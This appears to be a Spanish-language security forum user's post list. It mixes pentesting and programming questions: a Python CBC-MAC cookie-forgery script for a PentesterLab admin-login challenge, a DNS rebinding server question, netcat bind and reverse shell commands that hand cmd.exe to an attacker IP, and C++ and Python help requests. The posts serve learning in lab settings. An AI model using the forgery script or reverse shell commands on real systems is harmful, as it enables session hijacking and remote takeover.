elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: [1] 2 3 4 5 6
1  Seguridad Informática / Criptografía / Duda respecto al ataque CBC-MAC forgery en: 5 Mayo 2021, 20:38 pm
Estoy haciendo un reto en pentesterlab. Lastimosamente no puedo pasar el link (creo, la verdad no se si se pueda hacer esto). Así que procederé a explicar mi duda sin mas, lo mas claro posible.

Código
  1. from Crypto.Util.strxor import strxor
  2. import requests
  3. import base64
  4.  
  5. DOMAIN = "http://ptl-xxxxxxxx-xxxxxxxx.libcurl.so/"
  6.  
  7. def data2bin(data):
  8.    bytearray_ = bytearray(data.decode("latin-1"), "utf8")
  9.    binaryArray = [bin(byte_).strip("0b").zfill(8) for byte_ in bytearray_]
  10.  
  11.    return "".join(binaryArray)
  12.  
  13. def getCookie(domain, endpoint, username):
  14.    response = requests.post(domain+endpoint, data={"username":username, "password":"Password1"}, allow_redirects=False)
  15.    return (username, response.headers["Set-Cookie"].split("=")[1])
  16.  
  17. username1 = b"administ"
  18. username2 = b"rador\x00\x00\00"
  19.  
  20. cookie1 = getCookie(DOMAIN, "login.php", username1)[1].replace("%3D", "=").replace("%2B", "+")
  21. decodeCookie1 = base64.b64decode(cookie1)
  22. signature1 = ( decodeCookie1.decode("latin-1").split("--")[1] ).encode()
  23.  
  24. cookie2 = getCookie(DOMAIN, "login.php", username2)[1].replace("%3D", "=").replace("%2B", "+")
  25. decodeCookie2 = base64.b64decode(cookie2)
  26. signature2 = ( decodeCookie2.decode("latin-1").split("--")[1] ).encode()
  27.  
  28. padding = b"\x00" * (len(signature1)-len(username2))
  29. badUsername = strxor(signature1, username2+padding) # creo que el error es que el nullbyte deberia ser de 3 bytes
  30. #print(badUsername)
  31. #print(strxor(badUsername, signature1)) (HAY 4 BYTES DE MAS, PERO COMO SON NULL NO DEBERIA INTERPRETRARLOS COMO TAL)
  32. #badUsername = strxor(data2bin(signature1), data2bin(username2))
  33.  
  34. badCookie = getCookie(DOMAIN, "login.php", badUsername)[1].replace("%3D", "=").replace("%2B", "+")
  35. decodeBadCookie = base64.b64decode(badCookie)
  36. badSignature = ( decodeBadCookie.decode("latin-1").split("--")[1] ).encode()
  37.  
  38. print("Bad Cookie => " + ( base64.b64encode(b"administrator" + b"--" + badSignature) ).decode() )

El reto consiste en ingresar a la web como el usuario administrador. Claramente no puedo registrarme con ese username.

Se sabe que el web usa CBC-MAC(username) como valor de la cookie de sesión.

La cookie de sesión tiene el siguiente aspecto: username--MAC(username), y esta codificada en base64.

OJO: La web usa un NULL IV para el primer bloque de cifrado.

La vulnerabilidad creo que tiene que ver con los mensajes de longitud variable. Lo que he entendido mas o menos es lo siguiente:

Si tenemos un mensaje M1 de 8 bytes, y tenemos un Y1 que es el resultado del respectivo XOR: Y1 = NULL_IV ⊕ M1. Entonces tenemos un  MAC que sera calculado de la siguiente manera:
MAC(Y1)
. Llamemos al resultado del MAC anterior C1.

Entonces a partir de esto, yo deseo forzar alguna cadena antes de que esta sea cifrada, llamemos a esta cadena Y2. Tenga en cuenta que el M1 ya se proceso y ahora se procesara el segundo bloque de cifrado para un M2.

Por lo tanto si queremos forzar un Y2 de nuestro gusto, tan solo tendríamos que hacer:

C1 ⊕Y2 = M2 (aquí obtenemos un mensaje que cuando entre al algoritmo CBC-MAC, generara el Y2 que queremos)

De ese modo cuando le pasemos el M2 al algoritmo CBC-MAC normalmente obtendremos:

M2 ⊕ C1 = Y2 (obtenemos el Y2  que deseábamos)


Por lo tanto, considero que la cadena administrador fue dividida en 2 partes

       * administ                  (8 bytes block)
        * rador\x00\x00\x00  (8 bytes block)


El algoritmo nos dice que el primer bloque se XOR con un NULL IV, pero el segundo bloque se XOR con el C1 del primer bloque.

Por lo tanto si cambiamos el mensaje cambiaremos la firma y es por esto que se toma el ultimo bloque de CBC como MAC. Pero aquí es donde entra lo que dije antes.

Me logeo como administ y recibo un ciphertext que es C1 para ese primer bloque, luego hago rador\x00\x00\x00 ⊕ C1 = Y2 (los byte null es para tener un bloque exacto de 8 bytes)

Entonces creo que lo que debo hacer ahora es juntar administ + Y2 y enviarlo como un username.

Ahora ese Y2 nos servira como mensaje ya que cuando ese Y2 entre al algoritmo CBC-MAC, obtendremos:

Y2 ⊕ C1 = rador\x00\x00\x00 (Aparentemente la misma firma que el usuario administrador)

Según he leído esto hará que tengamos un MAC igual al de administrador y podamos entrar como si fuéramos el.

No entiendo como es que el MAC del username es el correspondiente cifrado de rador\x00\x00\x00, sabiendo que a nivel de backend, esto no es posible porque el segundo bloque no se XOR con un NULL IV, si no con el texto cifrado del bloque anterior C1, por ende es un tanto extraño.

No se si me equivoque en algo. Agradecería me ayudaran a entender este fallo mejor y así poder completar el laboratorio :"D


Si necesitan el link del laboratorio me escriben al DM, entiendan que ese link no es publico y es para evitar implicaciónes legales :"D
2  Seguridad Informática / Hacking Wireless / Montar mi propio DDNS con python para efectuar ataques de DNS rebinding (para un reto en rootme) en: 14 Marzo 2021, 20:02 pm
Hola a todos

Estoy intentando hacer un servidor DDNS en python sencillo, para probarlo contra un reto en internet de DNS rebinding.

Después de días de investigación pude entender la vuln, pero no he podido configurar un ddns propio usando dnslib en python3 (no tienen una documentación de la libreria)

A continuación les explicare los problemas que tengo:

1. Tengo un código de ejemplo en internet el cual ya logre entender pero no cumple mis expectativas ya que lo que quiero lograr es que este responda con un ip en especifico ante una consulta en especifico no para cualquier dominio, para ello he configurado el server a la escucha en el puerto 53 para que pueda filtrar las consultas entrantes pero no veo que esto tenga efecto cuando uso comandos como nslookup por ejemplo. (por cierto no se si tenerlo en el puerto 53 sea problema y pueda generar errores de algún tipo)

2. Tengo una vps en digital ocean en donde quiero que corra el programa, tengo un dominio inclusive y un servidor http para efectuar el ataque al reto que os comento. Pero lo que digo, no logro alterar la respuesta dns cuando se intenta resolver mi dominio.

Aquí les dejo aquel fragmento de código del que les hable en el punto #1:

Código
  1. from dnslib.server import *
  2.  
  3. class TestResolver:
  4.    def resolve(self,request,handler):
  5.        reply = request.reply()
  6.        reply.add_answer(*RR.fromZone("abc.def. 60 A 1.2.3.4"))
  7.        return reply
  8.  
  9. resolver = TestResolver()
  10. logger = DNSLogger(prefix=False)
  11. server = DNSServer(resolver,port=53,address="localhost",logger=logger,tcp=True)
  12. server.start_thread()
  13. q = DNSRecord.question("abc.def")
  14. a = q.send("localhost",53,tcp=True)
  15. print(DNSRecord.parse(a))
  16. server.stop()
3  Seguridad Informática / Hacking / El antiguo y conocido servicio rexec vulnerable (duda) en: 24 Agosto 2020, 01:37 am
Hola a todos

Bueno pasa que jugaba un poco con metasploitable 2. me encontraba investigando/estudiando, explotando y solucionando esta falla en dicho sistema. Pero me surgio una pequeña duda y es:

En las definiciones que lei decia que cualquier usuario podia ejecutar comandos sin loguearse, y en el mismo lugar mas abajo decia que para esto, al lado del comando debia especificar el comando y su contraseña. lo que ocasionaria otro problema.

La cosa es... al fin en cual creo? porque cunado lo experimente en esa maquina vulnerable no me registre en ningun momento. asi que esa es mi duda.

Muchas gracias
4  Seguridad Informática / Hacking / netcat, duda con el tipo de conexiones en: 16 Agosto 2020, 07:21 am
Hola a todos.

Tengo una cierta duda con las bind y reverse shell.

(suponiendo kali como atacante y windows 7 como victima)

Conexion directa

windows 7: nc -lvvp 1234 -e cmd.exe
Kali: nc [IP-windows 7] 1234

Conexion reversa

Kali: nc -lvvp 1234
windows 7: nc [IP] 1234 -e cmd.exe

###################################################

Mis dudas son las siguientes:

pregunta 1.¿una conexion directa de windows a kali, es equivalente a una reversa siendo kali el puerto a la escucha?
Se que una conexion reversa es mejor a una directa por muchas cosas como evitar ser filtrado por el firewall, un cambio de ip inesperado por parte del NAT (o hasta del puerto, etc).

Teniendo eso claro, entonces... si windows se conecta a kali de forma directa, a la maquina windows 7...
pregunta 2. ¿tambien presentaria problemas al intentar conectarse conmigo por cosas como mi firewall y asi?

pregunta 3. ¿Asi que la diferencia entre ambos tipos de conexiones radica en quien tiene la bandera "-e shell"?.
¿Es esa entonces la diferencia entre ambos tipos de conexiones?, ¿sobre quien tiene el modificador "-e"?

Muchas gracias
5  Seguridad Informática / Hacking / Dudas generales de hacking etico en: 12 Agosto 2020, 02:15 am
Hola a todos, tnego unas cuantas dudas que no s eme dio muy bien entender por google asi que aqui os traigo.

1. Cifrar archivo .db (cifrado simétrico en mi maquina) aunque las passwords estén hasheadas.

A lo que me refiero es que, por mas que tengo en una base de datos, cuentas con las contraseñas con algun tipo de hash (bcrypt ej.) sigue siendo necesario por ejemplo cifrar de forma simetrica el archivo .db en mi maquina o no es necesario?

2. ¿Puede explicarme mejor lo de la vulnerabilidad de transferencia de zona?

3. ¿Que es eso de lookup? siempre lo veo en todo lo que tiene que ver con DNS ya sea en el curso o recursos externos.

4. ¿Porque cuando configuramos TOR usamos una dirección de loopback (127.0.0.1) y no usamos una IP privada (192.168.0.12 ej.) ?. Lo digo ya que ambas hacen alusión a mi dispositivo (maquina).

Muchas gracias.
6  Seguridad Informática / Hacking / practicar pentesting y dudas generales en: 4 Agosto 2020, 00:33 am
Hola a todos.

Pasa que ahora ando leyendo muchos libros, PDF's y haciendo cursos sobre hacking etico y pentesting.

Dado el caso se me plantearon unas cuantas dudas que espero me puedan ayudar a resolver aqui :D

ANTES DE LEER, POR FAVOR, NECESITO ESTAS RESPUESTAS PARA PROCEDER CON ESTE HERMOSO MUNDO, AYUDENME A SUPERAR ESTAS PREGUNTAS :'V

Las dudas son las siguientes:

1. "el orden es fundamental en todo pentester", escucho mucho esa frase... Y me pregunto sobre ¿que plataforma es mejor, o cual es la mas usada para administrar la informacion que vamos recolectando en las primeras dos fases del pentesting y como deberia organizarla?

2. Veo que en muchos cursos o libros primeramente nos guian en la primera fase (footprinting), y luego de repente se pasa a (fingerprinting -enumeracion activa) pero se me hace muy raro ya que... nmap por ejempĺo veo que lo usan en la red donde estoy (local) por lo que supongo que con la informacion que haya recolectado en footprinting ya debia haber evaluado y vulnerado la red victima para proceder con los escaneos de nmap u otros? o que se supone que deberia pasar despues de tener la informacion de manera pasiva y encontrar vulnerabilidades con por ejemplo... shodan.

en sintesis: ¿como es ese paso entre footprinting y fingerprinting o como se supone que deberia ser?

3. Me encuentro practicando C++, (ya manejo python) este lenguaje c++ es mas denso claramente por lo que requiere mucha entrega... pero pasa que en otdo lo que veo sobre practicar en internet ataques web consideran estudiar o saber lenguajes como php, sql, html, y demas... entonces, ¿sigo estudiando c++ o mejor por ahora me inclino por la web y luego retomo c++?

4. por ultimo, he buscado en internet paginas web para auditar, la cosa es que en lo corrido del curso, he aprendido a usar plataformas como ipv4info, robtex, whois, dnsdumpster, shodan, zoomeye, google hacking y bueno unas cuantas mas para tener informacion sobre la infraestructura como tambien posibles vulnerabilidades con shodan o recon-ng. La cosa es que las VM que me encuentro son para atacar un sistema pero no una web como yo quisiera, es decir. Para poder sacar los rangos de red y todo ese proceso como si fuera una auditoria web  real. no se si me entienden..

en sintesis: ¿Donde puedo practicar no solo hacking a sistemas como tal (vm vulnerables como metasploitable) sino que mas bien auditar paginas web. en el sentido de la palabra como les conte. lo mas realista posible para practicar.  COmo sacar lso rangos de red, ver si hay lekas en las cuentas de la empresa, analizar con google hacking la informacion de los empleados. si esto no es posible en un modo prueba (para practicar) al menos que no sea como metasploitable que es solo scanear con nmap (u otras) y demas (asi lo veo no se si estoy equivocado) me gustaria mas usar la fase de footprinting  y no saltarmela y empezar a enumerar como pasaria con vm's como metasploitbale. me entiendes mas ahora ?...
7  Comunicaciones / Redes / Tipos de NAT 1,2, 3 en: 16 Julio 2020, 21:59 pm
Hola a todos

Pasa que estudiando sobre la NAT, me encuentro con que en consolas de juegos (no se si en otros dispositivos también), hay algo llamado NAT 1, NAT2, NAT3. Investigando en Internet no logro saber del todo cuales son sus diferencias y porque están presentes (usan/existen). Si alguien sabe agradezco la ayuda :D.

Muchas gracias.
8  Programación / Scripting / Problema con propiedades en python3 en: 5 Junio 2020, 08:10 am
asa que llevo horas en un programa, y de la nada note un error demasiado extraño. Entonces tras horas y horas de buscar, llegue a estas dos clases que hacen lo mismo pero no dan lo mismo (lo esperado mas bien)

No se si de la horas que llevo no veo que es, pero me parece raro esto que esta pasando.

Pido colaboración, el que no funciona es el mio, y el que funciona es el de Internet.

PDTA: Mi implementación también debería devolver 8

Muchas gracias.

Código:

class Quick_Tasks():

    def __init__(self,name=None):
        self.name = name

    @property
    def name(self):
        return self.__name

    @name.setter
    def name(self, value):
        if type(value).__name__ == "int":
            self.__value = 8
        else:
            print("nel")


obj = Quick_Tasks("Arroz")
print("")
print(obj.name)
obj.name = 45
print(obj.name)

#########################################################

class TreeNode(object):
    """
    El error es que no pueod usar property con parametros. Debe ser asignacion manual. (ignorar)
    """
    def __init__(self, value = None):
        self.value = value
        self._left_node = None
        self._right_node = None

    @property
    def value(self):
        return self.__value

    @value.setter
    def value(self, value):
        if type(value).__name__ == "int":
            self.__value = 8
        else:
            print("nel")

def main():
    tree_node = TreeNode(3)
    #tree_node.value = 3
    print (tree_node.value)

if __name__ == '__main__':
    print("")
    main()

Citar
Arroz
45

8
9  Programación / Programación C/C++ / Duda con correspondencia entre arreglos y punteros en C++ en: 2 Junio 2020, 18:39 pm
Hola a todos, de nuevo...

Me disculpo por preguntar dos veces seguidas, en realidad antes de preguntar de nuevo, me tome la molestia de googlear mucho. Pero realmente sentí que se contradecían las cosas, así que decido volver a preguntar, pero repito.. siento preguntar dos veces seguidas.

Bueno, el código es el siguiente:

Código:
#include<iostream>
using namespace std;

int main(){
    int numeros[] = {1,5,9,7,4,3};
    int *dir_numeros;

    dir_numeros = &numeros[0]; // Tambien, por simplicidad podemos colocar 'números', en lugar de '&numeros[0]'

    for(int i=0; i < 6; i++){
        cout<<*dir_numeros++;
    }

    /*
    cout<<*dir_numeros;
    dir_numeros++;
    cout<<*dir_numeros;
    */

    return 0;
}

Tanto lo que esta comentado, como el for que esta en el main, me imprimen lo siguiente:

Citar
159743

Lo que estoy haciendo, es simplemente mostrar los valores del arreglo, pero esta vez, haciendo uso de punteros.

Para no hacer esto tan largo, la duda de acuerdo a lo anterior es la siguiente:

int numero = 5;
int *dir_numero = &numero;

cout<<*dir_numero; "Esto imprime el valor"
cout<<dir_numero; "Esto imprime la dirección de memoria de la variable a la que apunta"

Teniendo eso claro, como es posible que en el for se use el ++ "de incremento" y este me imprima los valores del array?, es decir... Si uno se fija, ahí se esta usando el *, por lo que debería incrementar en uno dicho valor (1++) "porque la dirección que almaceno es la del primer elemento del array, por eso el 1".

En cambio, si vemos lo que esta comentado, es algo que hice yo, que funciona igual, pero que para mi tiene lógica. Porque esta vez lo que incremento es la dirección de memoria a la que apunta el puntero (mas que incrementar, es como seguir a la siguiente dirección de memoria, pues un arreglo almacena los datos de forma contigua, y claro... ahora sí recorrería el arreglo lógicamente.

entonces:

¿Porque el for hace lo mismo que lo que esta comentado, si este lo que incrementa es el valor del arreglo y no su dirección de memoria?

Muchas gracias, y perdón por extenderme.
10  Programación / Programación C/C++ / Duda con punteros en c++ en: 2 Junio 2020, 17:26 pm
Hola a todos

Pasa que tengo el siguiente código

Código:
#include<iostream>
using namespace std;

int main(){
    int numero = 20;
    int *dirMemory_number;
    dirMemory_number = &numero;

    // Para imprimir el valor y la dirección de memoria de una variable normal.

    cout<<"Numero: "<<numero<<endl;
    cout<<"Dirección: "<<&numero<<endl;

    // Para imprimir el valor y la dirección de memoria de un puntero.

    cout<<"Numero: "<<*dirMemory_number<<endl;
    cout<<"Dirección: "<<&dirMemory_number<<endl;

    return 0;
}

Y esta es su respectiva salida:

Citar
Numero: 20
Dirección: 0x7ffcd7ea466c
Numero: 20
Dirección: 0x7ffcd7ea4660


Los punteros, según tengo entendido, almacenan la dirección de memoria de otra variable. Ahora, si vemos mi código, podrán ver que son dos direcciones de memoria diferentes.

¿Es un error de mi código, o porque es que las direcciones no son iguales?

Muchas gracias.

Páginas: [1] 2 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines